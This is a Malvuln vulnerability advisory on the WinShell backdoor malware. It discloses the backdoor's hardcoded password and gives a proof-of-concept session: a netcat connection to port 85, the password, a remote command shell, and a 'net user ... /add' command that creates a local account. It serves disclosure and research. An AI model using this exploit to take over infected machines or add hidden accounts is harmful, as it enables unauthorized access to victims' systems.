Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/1fd45364073a81ddd707d74ba5d4c121.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.50
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 85 and requires authentication. However, the password "imdabest" is weak, hardcoded in plaintext in the PE file and appears many times in a database of leaked passwords.
Type: PE32
MD5: 1fd45364073a81ddd707d74ba5d4c121
Vuln ID: MVID-2022-0474
Dropped files: "sxe32A3.tmp"
Disclosure: 01/25/2022 

Exploit/PoC:
nc64.exe x.x.x.x 85
:imdabest

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

c:\dump>whoami
whoami
desktop-2c3kqho\victim

c:\dump>net user hyp3rlinx 666 /add
net user hyp3rlinx 666 /add
The command completed successfully.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).